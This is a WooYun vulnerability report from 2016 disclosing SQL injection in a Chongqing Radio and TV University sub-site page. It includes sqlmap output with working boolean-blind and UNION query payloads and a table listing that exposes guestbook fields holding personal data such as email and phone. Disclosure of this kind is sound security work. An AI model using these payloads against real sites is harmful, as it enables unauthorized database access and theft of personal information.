当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0170084

漏洞标题：重庆广播电视大学某分站sql注入一枚

相关厂商：重庆广播电视大学

漏洞作者： 稀饭粥

提交时间：2016-01-17 12:19

修复时间：2016-02-27 11:49

公开时间：2016-02-27 11:49

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：5

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-17： 细节已通知厂商并且等待厂商处理中
2016-01-18： 厂商已经确认，细节仅向厂商公开
2016-01-28： 细节向核心白帽子及相关领域专家公开
2016-02-07： 细节向普通白帽子公开
2016-02-17： 细节向实习白帽子公开
2016-02-27： 细节向公众公开

简要描述：

突然发现的，就一点点数据，还是涉及到了个人信息

详细说明：

这里：

**.**.**.**/jiaowu.asp?id=186


然后是ACCESS

Database: Microsoft_Access_masterdb
[3 tables]
+-----------+
| guestbook |
| links     |
| news      |
+-----------+


然后看一下第一个表

Database: Microsoft_Access_masterdb
Table: guestbook
[13 columns]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| show   | numeric     |
| age    | non-numeric |
| data   | non-numeric |
| email  | non-numeric |
| fid    | numeric     |
| fname  | non-numeric |
| icq    | non-numeric |
| id     | numeric     |
| ip     | non-numeric |
| msn    | non-numeric |
| phone  | numeric     |
| qq     | non-numeric |
| url    | non-numeric |
+--------+-------------+

漏洞证明：

[*] starting at 10:12:35
[10:12:35] [INFO] resuming back-end DBMS 'microsoft access' 
[10:12:35] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=186 AND 3849=3849
    Type: UNION query
    Title: Generic UNION query (NULL) - 28 columns
    Payload: id=-3110 UNION ALL SELECT NULL,NULL,CHR(113)&CHR(120)&CHR(107)&CHR(118)&CHR(113)&CHR(83)&CHR(79)&CHR(106)&CHR(70)&CHR(118)&CHR(85)&CHR(81)&CHR(90)&CHR(66)&CHR(89)&CHR(113)&CHR(107)&CHR(118)&CHR(113)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[10:12:36] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access

修复方案：

不知道

版权声明：转载请注明来源 稀饭粥@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2016-01-18 08:45

厂商回复：

通知处理中

最新状态：

暂无